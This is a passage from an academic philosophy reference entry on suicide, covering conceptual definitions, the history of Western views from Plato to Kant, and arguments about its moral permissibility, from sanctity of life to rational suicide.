foreseen outcome of his action. Needless to say, whether a clear divide exists between foreseen and intended outcomes is controversial, and critics raise the worry that almost any outcome can be described as foreseen (Glover 1990, ch. 6). (It is of course possible that whether death is foreseen or intended has no bearing on whether an act counts as suicide but still bears on whether that suicide is justified.) Some would argue that given the near certainty of his dying by jumping on the grenade, his death was intended, for even though death is not the justifying aim of his action and he may prefer not to die, his dying nevertheless has his endorsement in the circumstances in which he acts (Tolhurst 1983, Cholbi 2011, 26–31). A further complication is that current psychological evidence suggests that suicide is often an ambivalent act in which individuals who wish to die must nevertheless overcome the ordinary human fear of death (Cholbi 2011, 31–34, Joiner 2010, 62–70). Given this ambivalence, it may be difficult to determine precisely whether an act that poses an apparently lethal threat to the agent who performs it was in fact an act in which death was intended. When a person dies in such circumstances, it may prove difficult whether to classify the death as resulting from suicide (i.e., intentional self-killing) or as accidental. Such cases might indicate the need for a third category besides intentional suicide and accidental death (Cholbi 2007). The essential logical difficulty here resides in the notion of intending to die, for acting so as to produce one’s death nearly always has some other aim or justification. That is, death is generally not chosen for its own sake, or is not the end of suicidal behavior. Suicidal behavior can have any number of objectives: the relief of physical pain, the relief of psychological anguish, martyrdom in the service of a moral cause, the fulfillment of perceived societal duties (e.g., suttee and seppuku), the avoidance of judicial execution, revenge on others, protection of others’ interests or well-being. (See Fairbairn 1995, ch. 9, for a taxonomy of the varieties of suicide.) Therefore, it is not the case that suicidal individuals intend death per se, but rather that death is perceived, rightly or wrongly, as a means for the fulfillment of another of the agent’s aims (Graber 1981, 56). In short, there do not appear to be any compelling examples of “noninstrumental” self-killings in which “the overriding intention is simply to end one’s life and there is no further independent objective involved in the action” (O’Keeffe 1981, 357). Nor does requiring that the individual wish to be dead (Fairbairn 1995, ch. 6) address this issue, since again, what one wishes is presumably not death itself but some outcome of death. Both the grenade-jumping soldier and the depressed individual may wish not to die insofar as they might prefer that their desires could be satisfied without dying or without putting themselves at the risk thereof. However, this is consistent with their willingly choosing to die in order to satisfy their aims. Some (e.g., Beauchamp 1992, Cholbi 2011, 35–37) might wish to add a further condition to (a) and (b) above: S was not coerced into B-ing. Yet again, both the concept of coercion and its applicability to instances of risky or self-harming behavior is unclear. Typically, coercion denotes interference by others. So, according to condition (c), a spy threatened with torture lest he relinquish crucial military secrets who then poisons himself did not die by suicide, some would contend, since the spy’s captors compelled him to take his life. However, one can imagine a similar situation in which the agent of “coercion” is not another person. An extremely ill patient may opt to take his own life rather than face a future fraught with physical pain. But why should we not say that this patient was ‘coerced’ by his situation and therefore did not die by suicide? Because of their desires, loyalties, and values, both the spy and the ill patient saw themselves as having no other alternative, given their ends, but to cause their own deaths. In both instances, what the individual has reason to do was modified by circumstances outside their control so as to make death a rational option where it previously was not. Thus, there does not appear to be grounds for restricting coercion only to interference by other people, since factual circumstances can be similarly coercive. Either any factor, natural, human, or otherwise, that influences an individual’s reasoning so as to make death the most rational option counts as coercion, at which point condition (c) hardly functions as a restriction at all, or cases such as the spy facing torture are suicides too and (c) is unnecessary. (See Tolhurst 1983, 113–115.) Nor is it obvious that coercion necessarily changes the nature of a coerced act. A person coerced into singing is nevertheless singing. Hence, an act that is otherwise suicidal remains suicidal even if it is coerced (Paterson 2003). This brief attempt at conceptual analysis of suicide illustrates the frustrations of such a project, as the unclear notion of suicide is apparently replaced by equally unclear notions such as intention and coercion. We may be attracted to increasingly convoluted analyses of suicide (Donnelly 1998, 20) or accept that suicide is an ‘open textured’ concept instances of which are bound together only by weak Wittgensteinian family resemblance and hence resistant to analysis in terms of necessary and sufficient conditions (Windt 1981). An alternative to providing necessary and sufficient conditions for suicidal behavior is to view it along a continuum. In the psychological sciences, many suicidologists view suicide not as an either/or notion but as a gradient notion, admitting of degrees based on individuals’ beliefs, strength of intentions, and attitudes. The Beck Scale for Suicidal Ideation is perhaps the best example of this approach. (See Beck 1979.) This section outlines the main currents of historical philosophical thought about suicide in ‘the West’ (Europe, the Middle East, and North America). Such an emphasis should not obscure the rich traditions of thought originating outside those geographical confines, however. Important thinkers from Africa, Asia, and the indigenous populations of the Western hemisphere took a philosophical interest in suicide. Little appears to unite philosophical thinking about suicide from these traditions aside from the fact that they are far less influenced by monotheism than is the Western tradition. Some of the ethical considerations concerning suicide raised in these traditions are also found in Western thought. For instance, the claim that suicide may violate ethical duties to others is addressed by Confucius, who primarily views the matter through the lens of filial piety (Confucius 2003). Others, for example the Jain practice of, a type of spiritual fasting intended to hasten death, do not seem to have correlates in the Western tradition (Umaswati 1992). Unfortunately, the diversity of positions within the non-Western traditions preclude easy summation. Those interested in these traditions are urged to consult Battin (2015). (The online archive of Battin (2015) is particularly useful in this regard; users can search for philosophical writings on suicide based on geographic origin and intellectual tradition.) Western philosophical discourse about suicide stretches back at least to the time of Plato. Still, prior to the Stoics at least, suicide tended to get sporadic rather than systematic attention from philosophers in the ancient Mediterranean world. As John Cooper has noted (Cooper 1989, 10), neither ancient Greek nor Latin had a single word that aptly translates our ‘suicide,’ even though most of the ancient city-states criminalized self-killing. Plato explicitly discussed suicide in two works. First, in Phaedo, Socrates expresses guarded enthusiasm for the thesis, associated with the Pythagoreans, that suicide is always wrong because it represents our releasing ourselves (i.e., our souls) from a “guard-post” (i.e., our bodies) the gods have placed us in as a form of punishment (Phaedo 61b-62c). Later, in the Laws, Plato claimed that suicide is disgraceful and its perpetrators should be buried in unmarked graves. However, Plato recognized four exceptions to this principle: (1) when one’s mind is morally corrupted and one’s character can therefore not be salvaged (Laws IX 854a3–5), (2) when the self-killing is done by judicial order, as in the case of Socrates, (3) when the self-killing is compelled by extreme and unavoidable personal misfortune, and (4) when the self-killing results from shame at having participated in grossly unjust actions (Laws IX 873c-d). Suicide under these circumstances can be excused, but, according to Plato, it is otherwise an act of cowardice or laziness undertaken by individuals too delicate to manage life’s vicissitudes. Aristotle’s only discussion of suicide (Nicomachean Ethics 1138a5–14) occurs in the midst of a discussion of the possibility of treating oneself unjustly. Aristotle concludes that self-killing does not treat oneself unjustly so long as it is done voluntarily because the harm done to oneself is consensual. He concludes that suicide is somehow a wrong to the state or the community, though he does not outline the nature of this wrong or the specific vices that suicidal individuals exhibit. To contemporary readers, the most striking feature of Plato’s and Aristotle’s texts on suicide is their relative absence of concern for individual well-being or rights. Both limit the justifications for suicide largely to considerations about an individual’s social roles and obligations. In contrast, the Stoics held that whenever the means to living a naturally flourishing life are not available to us, suicide may be justified, regardless of the character or virtue of the individual in question. Our natures require certain “natural advantages” (e.g., physical health) in order for us to be happy, and a wise person who recognizes that such advantages may be lacking in her life sees that ending her life neither enhances nor diminishes her moral virtue. When a man’s circumstances contain a preponderance of things in accordance with nature, it is appropriate for him to remain alive; when he possesses or sees in prospect a majority of the contrary things, it is appropriate for him to depart from life…. Even for the foolish, who are also miserable, it is appropriate for them to remain alive if they possess a predominance of those things which we pronounce to be in accordance with nature (Cicero, III, 60–61). Hence, not only may concerns related to one’s obligations to others justify suicide, but one’s own private good is relevant too. The Roman Stoic Seneca, who was himself compelled to engage in suicide, was even bolder, claiming that since “mere living is not a good, but living well”, a wise person “lives as long as he ought, not as long as he can.” For Seneca, it is the quality, not the quantity, of one’s life that matters. The advent of institutional Christianity was perhaps the most important event in the philosophical history of suicide, for Christian doctrine has by and large held that suicide is morally wrong, despite the absence of clear Scriptural guidance regarding suicide. Although the early church fathers opposed suicide, St. Augustine is generally credited with offering the first justification of the Christian prohibition on suicide (Amundsen 1989). He saw the prohibition as a natural extension of the fifth commandment: God’s command ‘Thou shalt not kill,’ is to be taken as forbidding self-destruction, especially as it does not add ‘thy neighbor’, as it does when it forbids false witness, ‘Thou shalt not bear false witness against thy neighbor.’ (Augustine, book I, chapter 20) Suicide, Augustine determined, was an unrepentable sin. St. Thomas Aquinas later defended this prohibition on three grounds. (1) Suicide is contrary to natural self-love, whose aim is to preserve us. (2) Suicide injures the community of which an individual is a part. (3) Suicide violates our duty to God because God has given us life as a gift and in taking our lives we violate His right to determine the duration of our earthly existence (Aquinas 1271, part II, Q64, A5). This conclusion was codified in the medieval doctrine that suicide nullified human beings’ relationship to God, for our control over our body was limited to usus (possession, employment) where God retained dominium (dominion, authority). Law and popular practice in the Middle Ages sanctioned the desecration of the suicidal corpse, along with confiscation of the individual’s property and denial of Christian burial. The rediscovery of numerous texts of classical antiquity was one of the spurs of the Renaissance, but for the most part, Renaissance intellectuals generally affirmed the Church’s opposition to suicide and were not sympathetic to the more permissive attitudes toward suicide found among the ancient pagans. Two intriguing sixteenth century exceptions were Thomas More and Michel de Montaigne. In his Utopia, More appears to recommend voluntary suicide for those suffering from painful and incurable diseases, though the satirical and fantastical tone of that work makes it doubtful that More supported this proposal in reality. In his Essais, Montaigne relates several anecdotes of individuals taking their own lives and intersperses these anecdotes with quotations from Roman writers praising suicide. While his general skepticism prevented Montaigne from staking out a firm moral position on suicide, he gives only a nod to the orthodox Christian position and conceptualizes the issue not in traditional theological terms but as a matter of personal judgment or conscience (Minois 1999, 89–92). The Protestant Reformers, including Calvin, condemned suicide as roundly as did the established Church, but held out the possibility of God treating suicide mercifully and permitting repentance. Interest in moral questions concerning suicide was particularly strong in this period among England’s Protestants, notably the Puritans (Sprott 1961). Nonetheless, the traditional Christian view prevailed well into the late seventeenth century, where even an otherwise liberal thinker such as John Locke echoed earlier Thomistic arguments, claiming that though God bestowed upon us our natural personal liberty, that liberty does not include the liberty to destroy oneself (Locke 1690, ch. 2, para. 6). In all likelihood, the first comprehensive modern defense of suicide was John Donne’s Biathanatos (c. 1607). Not intended for publication, Biathanatos drew upon an array of classical and modern legal and theological sources to argue that Christian doctrine should not hold that suicide is necessarily sinful. His critique is in effect internal, drawing upon the logic of Christian thought itself to suggest that suicide is not contrary to the laws of nature, of reason, or of God. Were it contrary to the law of nature mandating self-preservation, all acts of self-denial or privation would be similarly unlawful. Moreover, there may be circumstances in which reason might recommend suicide. Finally, Donne observes, not only does Biblical Scripture lack a clear condemnation of suicide, Christian doctrine has permitted other forms of killing such as martyrdom, capital punishment and killing in wartime (Minois 1999, 20–21). Donne’s casuistical treatise was an early example of the liberalized Enlightenment attitudes of the 1700s. The Thomistic natural-law stance on suicide came under increasing attack as suicide was examined through the lens of science and psychology. Where Christian theology has understood suicide as “an affair between the devil and the individual sinner” (Minois 1999, 300), Enlightenment philosophers tended to conceive of suicide in secular terms, as resulting from facts about individuals, their natural psychologies, and their particular social settings. David Hume gave voice to this new approach with a direct assault on the Thomistic position in his unpublished essay “Of suicide” (1783). Hume saw traditional attitudes toward suicide as muddled and superstitious. According to the Thomistic argument, suicide violates the order God established for the world and usurps God’s prerogative in determining when we shall die. Hume’s argument against this thesis is intricate and rests on the following considerations: If by the ‘divine order’ is meant the causal laws created by God, then it would always be wrong to contravene these laws for the sake of our own happiness. But clearly it is not wrong, since God frequently permits us to contravene these laws, for he does not expect us not to respond to disease or other calamities. Therefore, there is not apparent justification, as Hume put it, for God’s permitting us to disturb nature in some circumstances but not in others. Just as God permits us to divert rivers for irrigation, so too ought he permit us to divert blood from our veins. If by ‘divine order’ is meant the natural laws God has willed for us, which are (a) discerned by reason, (b) such that adherence to them will produce our happiness, then why should not suicide conform to such laws when it appears rational to us that the balance of our happiness is best served by dying? Finally if by ‘divine order’ is meant simply that which occurs according to God’s consent, then God appears to consent to all our actions (since an omnipotent God can presumably intervene in our acts at any point) and no distinction exists between those of our actions to which God consents and those to which He does not. If God has placed us upon the Earth like a “sentinel,” then our choosing to leave this post and take our lives occurs as much with his cooperation as with any other act we perform. Furthermore, suicide does not necessarily violate any duties toward other people, according to Hume. Reciprocity may require that we benefit society in exchange for the benefits it provides, but surely such reciprocity reaches its limit when by living we provide only a “frivolous advantage” to society at the expense of significant harm or suffering for ourselves. In more extreme situations, we are actually burdens to others, in which case our deaths are not only “innocent, but laudable.” Finally, Hume rejects the thesis that suicide violates our duties to self. Sickness, old age, and other misfortunes can make life sufficiently miserable that continued existence is worse than death. As to worries that people are likely to attempt to take their lives capriciously, Hume replies that our natural fear of death ensures that only after careful deliberation and assessment of our future prospects will we have the courage and clarity of mind to kill ourselves. In the end, Hume concludes that suicide “may be free of imputation of guilt and blame.” His position is largely utilitarian, allied with a strong presumption of personal liberty. The Enlightenment was of course not univocal in its comparatively permissive attitudes toward suicide. The most noteworthy opponent of suicide in this period was Immanuel Kant. Kant’s arguments, though they reflect earlier natural law arguments, draw upon his view of moral worth as emanating from the autonomous rational wills of individuals (Cholbi 2000, 2010). For Kant, our rational wills are the source of our moral duty, and it is therefore a kind of practical contradiction to suppose that the same will can permissibly destroy the very body that carries out its volitions and choices. Given the distinctive worth of an autonomous rational will, suicide is an attack on the very source of moral authority. To annihilate the subject of morality in one’s person is to root out the existence of morality itself from the world as far as one can, even though morality is an end in itself. Consequently, disposing of oneself as a mere means to some discretionary end is debasing humanity in one’s person… (Kant 423) (For a contemporary expression of this Kantian view of suicide, see Velleman 1999.) The nineteenth and early twentieth centuries brought several developments that, while not explicitly philosophical, have shaped philosophical thought about suicide. The first was the emergence, in novels by Rousseau, Goethe, and Flaubert, of a Romantic idealized ‘script’ for suicide, according to which suicide was the inevitable response of a misunderstood and anguished soul jilted by love or shunned by society (Lieberman 2003). The second was the emergence of psychiatry as an autonomous discipline, populated by experts capable of diagnosing and treating melancholy, hysteria and other ailments responsible for suicide. Lastly, largely thanks to the work of sociologists such as Durkheim and Laplace, suicide was increasingly viewed as a social ill reflecting widespread alienation, anomie, and other attitudinal byproducts of modernity. In many European nations, the rise in suicide rates was thought to signal a cultural decline. These latter two developments made suicide prevention a bureaucratic and medical preoccupation, leading to a wave of institutionalization for suicidal persons. All three conspired to suggest that suicide is caused by impersonal social or psychological forces rather than by the agency of individuals. The principal moral issue surrounding suicide has been Are there conditions under which suicide is morally justified, and if so, which conditions? Several important historical answers to (1) have already been mentioned. This question should be distinguished from three others: Should other individuals attempt to prevent suicide? Should the state criminalize suicide or attempt to prevent it? Is suicide ever rational or prudent? Obviously, answers to any one of these four questions will bear on how the other three ought to be answered. For instance, it might be assumed that if suicide is morally permissible in some circumstances, then neither other individuals nor the state should interfere with suicidal behavior (in those same circumstances). However, this conclusion might not follow if those same suicidal individuals are irrational and interference is required in order to prevent them from taking their lives, an outcome they would regret were they more fully rational. Furthermore, for those moral theories that emphasize rational autonomy, whether an individual has rationally chosen to take her own life may settle all four questions. In any event, the interrelationships among suicide’s moral permissibility, its rationality, and the duties of others and of society as a whole is complex, and we should be wary of assuming that an answer to any one of these four questions decisively settles the other three. The simplest moral outlook on suicide holds that it is necessarily wrong because human life is sacred. Though this position is often associated with religious thinkers, especially Catholics, Ronald Dworkin (1993) points out that atheists may appeal to this claim as well. According to this ‘sanctity of life’ view, human life is inherently valuable and precious, demanding respect from others and reverence for oneself. Hence, suicide is wrong because it violates our moral duty to honor the inherent value of human life, regardless of the value of that life to others or to the person whose life it is. The sanctity of life view is thus a deontological position on suicide. The great merit of the sanctity of life position is that it reflects a common moral sentiment, namely, that killing is wrong in itself. The chief difficulties for the sanctity of life position are these: First, its proponents must be willing to apply the position consistently, which would also morally forbid controversial forms of killing such as capital punishment or killing in wartime. But it would also forbid forms of killing that seem intuitively reasonable, such as killing in self-defense. To accept the sanctity of life argument seems to require endorsing a thoroughgoing pacifism. Secondly, the sanctity of life view must hold that life itself, wholly independent of the happiness of the individual whose life it is, is valuable. Many philosophers reject the notion that life is intrinsically valuable, since it suggests, e.g., that there is value in keeping alive an individual in a persistent vegetative state simply because she is biologically alive. It would also suggest that a life certain to be filled with limitless suffering and anguish is valuable just by virtue of being a human life. Peter Singer (1994) and others have argued against the sanctity of life position on the grounds that the value of a continuing life is not intrinsic but extrinsic, to be judged on the basis of the individual’s likely future quality of life. If the value of a person’s continued life is measured by its likely quality, then suicide may be permissible when that quality is low (see section 3.5) (This is not to suggest that quality of life assessments are straightforward or uncontroversial. See Hayry 1991 for discussion). Finally, it is not obvious that adequate respect for the sanctity of human life prohibits ending a life, whether by suicide or other means. Those who engage in suicidal behavior when their future promises to be extraordinarily bleak do not necessarily exhibit insufficient regard for the sanctity of life (Dworkin 1993, 238). To end one’s life before its natural end is not necessarily an insult to the value of life. Indeed, it may be argued that suicide may be life-affirming in those circumstances where medical or psychological conditions reduce individuals to shadows of their former fully capable selves (Cholbi 2002). Two general categories of arguments for the moral impermissibility of suicide have emerged from the Christian religious tradition. The first of these is the aforementioned Thomistic natural law position, critiqued by Hume (see section 2.3) According to this tradition, suicide violates the natural law God has created to govern the natural world and human existence. This natural law can be conceived of in terms of (a) natural causal laws, such that suicide violates this causal order, (b) teleological laws, according to which all natural beings seek to preserve themselves, or (c) the laws governing human nature, from which it follows that suicide is ‘unnatural’ (Pabst Battin 1996, 41–48). These natural law arguments are no longer the main focus of philosophical discussion, as they have been subjected to strenuous criticism by Hume and others (though see Gay-Williams 1996). These criticisms include the following: (1) the natural law arguments cannot be disentangled from a highly speculative theistic metaphysics; (2) the claims of natural law are confuted by observations of human nature (e.g., the existence of self-destructive human behaviors casts doubt on the claim that we “naturally” preserve ourselves); and (3) other acts (e.g., religious martyrdom) which God is assumed not to condemn, also violate these natural laws, making the prohibition on suicide appear arbitrary. The second general category of religious arguments rest on analogies concerning the relationship between God and humanity. For the most part, these arguments aim to establish that God, and not human individuals, has the proper moral authority to determine the circumstances of their deaths. One historically prominent analogy (suggested by Aquinas and Locke) states that we are God’s property and so suicide is a wrong to God akin to theft or destruction of property. This analogy seems weak on several fronts. First, if we are God’s property, we are an odd sort of property, in that God apparently bestowed upon us free will that permits us to act in ways that are inconsistent with God’s wishes or intentions. It is difficult to see how an autonomous entity with free will can be subject to the kind of control or dominion to which other sorts of property are subject. Second, the argument appears to rest on the assumption that God does not wish his property destroyed. Yet given the traditional theistic conception of God as not lacking in any way, how could the destruction of something God owns (a human life) be a harm to God or to his interests (Holley 1989, 105)? Third, it is difficult to reconcile this argument with the claim that God is all-loving. If a person’s life is sufficiently bad, an all-loving God might permit his property to be destroyed through suicide. Finally, some have questioned the extent of the duties imposed by God’s property right in us by arguing that the destruction of property might be morally justified in order to prevent significant harm to oneself. If the only available means to saving myself from a ticking bomb is to stash it in the trunk of the nearest car to dampen the blast, and the nearest car belongs to my neighbor, then destroying his property appears justified in order to avoid serious harm to myself. Likewise, if only by killing myself can I avoid a serious future harm to myself, I appear justified in destroying my life even if it is God’s property. Another common analogy asserts that God bestows life upon us as a gift, and it would be a mark of ingratitude or neglect to reject that gift by taking our lives. The obvious weakness with this “gift analogy” is that a gift, genuinely given, does not come with conditions such as that suggested by the analogy, i.e., once given, a gift becomes the property of its recipient and its giver no longer has any claim on what the recipient does with this gift. It may perhaps be imprudent to waste an especially valuable gift, but it does not appear to be unjust to a gift giver to do so. As Kluge (1975, 124) put it, “a gift we cannot reject is not a gift”. A variation of this line of argument holds that we owe God a debt of gratitude for our lives, and so to kill ourselves would be disrespectful or even insulting to God, (Ramsey 1978, 146) or would amount to an irresponsible use of this gift. Yet this variation does not really evade the criticism directed at the first version: Even if we owe God a debt of gratitude, disposing of our lives does not seem inconsistent with our expressing gratitude for having lived at all (Beauchamp 1992). Furthermore, if a person’s life is rife with misery and unhappiness, it is far from clear that she owes God much in the way of gratitude for this apparently ill-chosen “gift” of life. Defenders of the gift analogy must therefore defend the claim that life, simply because it is given to us by a loving God, is an expression of God’s benevolent nature and is therefore necessarily a benefit to us (Holley 1989, 113–114). In addition, there is a less recognized undercurrent of religious thought that favors suicide. For example, suicide permits us to reunite with deceased loved ones, allows those who have been absolved of sin to assure their entrance to heaven, and releases the soul from the bondage of the body. In both Christian and Asian religious traditions, suicide holds the promise of a vision of, or union with, the divine (Pabst Battin 1996, 53–64). For libertarians, suicide is morally permissible because individuals enjoy a right to suicide. (It does not of course follow that suicide is necessarily rational or prudent.) Libertarianism, which has historical precedent in the Stoics and in Schopenhauer, is strongly associated with the ‘anti-psychiatry’ movement of the last half century. According to that movement, attempts by the state or by the medical profession to interfere with suicidal behavior are essentially coercive attempts to pathologize morally permissible exercises of individual freedom (Szasz 2002). Libertarianism typically asserts that the right to suicide is a right of noninterference, to wit, that others are morally barred from interfering with suicidal behavior. Some assert the stronger claim that the right to suicide is a liberty right, such that individuals have no duty to forego suicide (i.e., that suicide violates no moral duties), or a claim right, according to which other individuals may be morally obliged not only not to interfere with a person’s suicidal behavior but to assist in that behavior. (See the entry on rights.) Our having a claim right to suicide implies that we also have rights of noninterference and of liberty and is a central worry about physician-assisted suicide (Pabst Battin 1996, 163–164). Since whether we have a liberty right to suicide concerns whether it violates other moral obligations, including obligations to other people, I shall leave discussion of that issue to section 3.5 and focus here on whether there is a right of noninterference. (Whether suicidal individuals have a claim right to others’ assistance is addressed in section 3.8.) A popular basis supporting a right to suicide is the idea that we own our bodies and hence are morally permitted to dispose of them as we wish. (Recall from section 3.3 that some religious arguments for the impermissibility of suicide depend on God’s ownership of our bodies.) On this view, our relationship to our bodies is like that of our relationship to other items over which we enjoy property rights: Just as our having a right to a wristwatch permits us to use, improve, and dispose of it as we wish, so too does our having a right to our bodies permit us to dispose of them as we see fit. Consequently, since property rights are exclusive (i.e., our having property rights to a thing prohibits others from interfering with it), others may not interfere with our efforts to end our lives. The notion of self-ownership invoked in this argument is quite murky though. What enables us to own ordinary material items is their metaphysical distinctness from us (Cholbi 2011, 84–86). We can own a wristwatch only because it is distinct from us. Materialist philosophers, who hold that we are identical to our bodies, would deny that our bodies are distinct from ourselves, and even under the most dualistic views of human nature, our selves are sufficiently dependent upon our bodies to make ownership of the body by the self an implausible notion. Indeed, the fact that certain ways of treating ordinary property are not available to us as ways of treating our bodies (we cannot give away or sell our bodies in any literal sense) suggests that self-ownership may be only a metaphor meant to capture a deeper moral relationship (Kluge 1975, 119). In addition, uses of one’s property, including its destruction, can be harmful to others. Thus, in cases where suicide may harm others, we may be morally required to refrain from suicide. (See section 3.5 for arguments concerning duties to others.) Another rationale for a right of noninterference is the claim that we have a general right to decide those matters that are most intimately connected to our well-being, including the duration of our lives and the circumstances of our deaths. On this view, the right to suicide follows from a deeper right to self-determination, a right to shape the circumstances of our lives so long as we do not harm or imperil others (Cholbi 2011, 88–89). As presented in the “death with dignity” movement, the right to suicide is the natural corollary of the right to life. That is, because individuals have the right not to be killed by others, the only person with the moral right to determine the circumstances of a person’s death is that person herself and others are therefore barred from trying to prevent a person’s efforts at self-inflicted death. This position is open to at least two objections. First, it does not seem to follow from having a right to life that a person has a right to death, i.e., a right to take her own life. Because others are morally prohibited from killing me, it does not follow that I am permitted to kill me. This conclusion is made stronger if the right to life is inalienable, since in order for me to kill myself, I must first renounce my inalienable right to life, which I cannot do (Feinberg 1978). It is at least possible that no one has the right to determine the circumstances of a person’s death! Furthermore, as with the property-based argument, the right to self-determination is presumably circumscribed by the possibility of harm to others. A fourth approach to the question of suicide’s permissibility asks not whether others may interfere with suicidal behavior but whether we have a liberty right to suicide, whether, that is, suicide violates any moral duties to others. Those who argue that suicide can violate our duties to others generally claim that suicide can harm either specific others (family, friends, etc.) or is a harm to the community as a whole. No doubt the suicide of a family member or loved one produces a number of harmful psychological and economic effects. In addition to the usual grief, suicide “survivors” confront a complex array of feelings. Various forms of guilt are quite common, such as that arising from (a) the belief that one contributed to the suicidal person’s anguish, or (b) the failure to recognize that anguish, or (c) the inability to prevent the suicidal act itself. Suicide also leads to rage, loneliness, and awareness of vulnerability in those left behind. Indeed, the sense that suicide is an essentially selfish act dominates many popular perceptions of suicide (Fedden 1938, 209). Still, some of these reactions may be due to the strong stigma and shame associated with suicide, in which case these reactions cannot, without logical circularity, be invoked in arguments that suicide is wrong because it produces these psychological reactions (Pabst Battin 1996, 68–69). Suicide can also cause clear economic or material harm, as when the suicidal person leaves behind dependents unable to support themselves financially. Suicide can therefore be understood as a violation of the distinctive “role obligations” applicable to spouses, parents, caretakers, and loved ones. However, even if suicide is harmful to family members or loved ones, this does not support an absolute prohibition on suicide, since some suicides will not leave survivors, and among those that do, the extent of these harms is likely to differ such that the stronger these relationships are, the more harmful suicide is and the more likely it is to be morally wrong. Besides, from a utilitarian perspective, these harms would have to be weighed against the harms done to the would-be suicide by continuing to live a difficult or painful life. At most, the argument that suicide is a harm to family and to loved ones establishes that it is sometimes wrong (Cholbi 2011, 62–64). A second brand of social argument echoes Aristotle in asserting that suicide is a harm to the community or the state. One general form such arguments take is that because a community depends on the economic and social productivity of its members, its members have an obligation to contribute to their society, an obligation clearly violated by suicide (Pabst Battin 1996, 70–78, Cholbi 2011, 58–60). For example, suicide denies a society the labor provided by its members, or in the case of those with irreplaceable talents such as medicine, art, or political leadership, the crucial goods their talents enable them to provide. Another version states that suicide deprives society of whatever individuals might contribute to society morally (by way of charity, beneficence, moral example, etc.) Still, it is difficult to show that a society has a moral claim on its members’ labor, talents, or virtue that compels its members to contribute to societal well-being no matter what. After all, individuals often fail to contribute as much as they might in terms of their labor or special talents without incurring moral blame. It does not therefore seem to be the case that individuals are morally required to benefit society in whatever way they are capable, regardless of the harms to themselves. Again, this line of argument appears to show at most only that suicide is sometimes wrong, namely, when the benefit (in terms of future harm not suffered) the individual gains by dying is less than the benefits she would deny to society by dying. A modification of this argument claims that suicide violates a person’s duty of reciprocity to society (Cholbi 2011, 60–62). On this view, an individual and the society in which she lives stand in a reciprocal relationship such that in exchange for the goods the society has provided to the individual, the individual must continue to live in order to provide her society with the goods that relationship demands. Yet in envisioning the relationship between society and the individual as quasi-contractual in nature, the reciprocity argument reveals its principal flaw: The conditions of this “contract” may not be met, and also, once met, impose no further obligations upon the parties. As Baron d’Holbach (1970, 136–137) pointed out, the contract between an individual and her society is a conditional one, presupposing “mutual advantages between the contracting parties.” Hence, if a society fails to fulfill its obligations under the contract, namely to provide individuals with the goods needed for a decent quality of life, then the individual is not morally required to live in order to reciprocate an arrangement that society has already reneged on. Moreover, once an individual has discharged her obligations under this societal contract, she no longer is under an obligation to continue her life. Hence, the aged or others who have already made substantial contributions to societal welfare would be morally permitted to engage in suicide under this argument. To this point, we have addressed arguments that concern whether a moral permission to engage in suicidal behavior exists, and indeed, it is this question that has dominated ethical discussion of suicide. Yet the social arguments against suicide are fundamentally consequentialist, and some act-utilitarians have discussed the correlative possibility that the good consequences of suicide might so outweigh its bad consequences as to render suicide admirable or even morally obligatory (Cosculluela 1995, 76–81). In fact, in some cases, suicide may be honorable. Suicides that are clearly other-regarding, aiming at protecting the lives or well-being of others, or at political protest, may fall into this category (Kupfer 1990, 73–74). Examples of this might include the grenade-jumping soldier mentioned earlier, or the spy who takes his life in order not to be subjected to torture that will lead to his revealing vital military secrets. Utilitarians have given particular attention to the question of end-of-life euthanasia, suggesting that at the very least, those with painful terminal illnesses have a right to voluntary euthanasia (Glover 1990, chs. 14–15, Singer 1993, ch. 7). Yet utilitarian views hold that we have a moral duty to maximize happiness, from which it follows that when an act of suicide will produce more happiness than will remaining alive, then that suicide is not only morally permitted, but morally required. However, the thesis that there may exist a “duty to die” need not be defended by appeal to overtly consequentialist or utilitarian reasoning. In the course of articulating what he terms a “family-centered” approach to bioethics, the philosopher John Hardwig (1996, 1997) has argued that sometimes the burdens that a person imposes on others, particularly family members or loved ones, by continuing to live are sufficiently great that one may have a duty to die in order to relieve them of these burdens. Hardwig’s argument thus seems to turn not on the overall balance of costs and benefits that result from a person living or dying, but on the fairness of the burdens that a person imposes on others by continuing to live. While generally acknowledging Hardwig’s suggestion that duties to others have been neglected in discussion of the ethics of suicide, critics of morally required suicide raise a number of objections to his proposal. (See Hardwig et al. 2000, Humber & Almeder 2000.) Some doubt that the duty of beneficence to which Hardwig appeals justifies anything stronger than a permission to take one’s own life when continuing to live is burdensome to others (Cholbi 2010b). Others worry that a moral requirement to engage in suicide raises the sinister and totalitarian prospect that individuals may be obliged to engage in suicide against their wishes (Moreland & Geisler 1990, 94, Pabst Battin 1996, 94–95). This worry may reflect an implicit acceptance of a variation of the sanctity of life view (see section 3.2) or may reflect concerns about infringements upon individual’s autonomy (see section 3.6). Other critics suggest that even if there is a duty to die, this duty should not be understood as a duty that entails that others may compel those with such a duty to take their lives (Menzel 2000, Narveson 2000). Questions about social justice and equality (whether, for example, especially vulnerable populations such as women or the poor might be more likely to act on such a duty) are also raised. One utilitarian response to these objections is to reject a duty to die on rule utilitarian grounds: Suicide would be morally forbidden because general adherence to a rule prohibiting suicide would produce better overall consequences than would general adherence to a rule permitting suicide (Brandt 1975, Pabst Battin 1996, 96–98). A more restricted version of the claim that we have a right to noninterference regarding suicide holds that suicide is permitted so long as—leaving aside questions of duties to others—it is rationally chosen. In a similar vein, Kantians might claim that suicidal choices must be respected if those choices are autonomous, that is, if an individual chooses to end her life on the basis of reasons that she acknowledges as relevant to her situation. Such positions are narrower than the libertarian view, in that they permit suicide only when it is performed on a rational basis (or a rational basis that the individual acknowledges as relevant to her situation) and permits others to interfere only when it is not performed on that basis. One initial challenge to the possibility of rational suicide rests on the notion that suicide, being a choice to end one’s life, is necessarily irrational. The thought here is that any coherent judgment of suicide’s rationality requires comparing the state of being alive (or continuing to live) with being dead. But either because no one has sufficient knowledge of the state of being dead (Devine 1978) or because suicide ensures that the suicidal person has no future to look forward to (Cowley 2006), judgments that ending one’s life is rational are incoherent or misplaced. In recent years, this ‘two-state’ requirement (that death can only be judged rational or irrational if it is possible to compare the state of being alive with the state of being dead) has been widely rejected. In particular, the rationality of the decision to end one’s life need not be construed in terms of the value of being alive versus the value of being dead (Luper 2009, 82–88). What those contemplating ending their lives are considering are different durations of their lives, or as Richard Brandt put it: The person who is contemplating suicide is obviously making a choice between future world-courses: the world-course that includes his demise, say, an hour from now, and several possible ones that contain his demise at a later point… The basic question a person must answer in order to determine which world-course is best or rational for him to choose, is which he would choose under conditions of optimal use of information, when all of his desires are taken into account. (Brandt 1975) Hence, on this view, a rational judgment about one’s own death requires a comparison between the overall 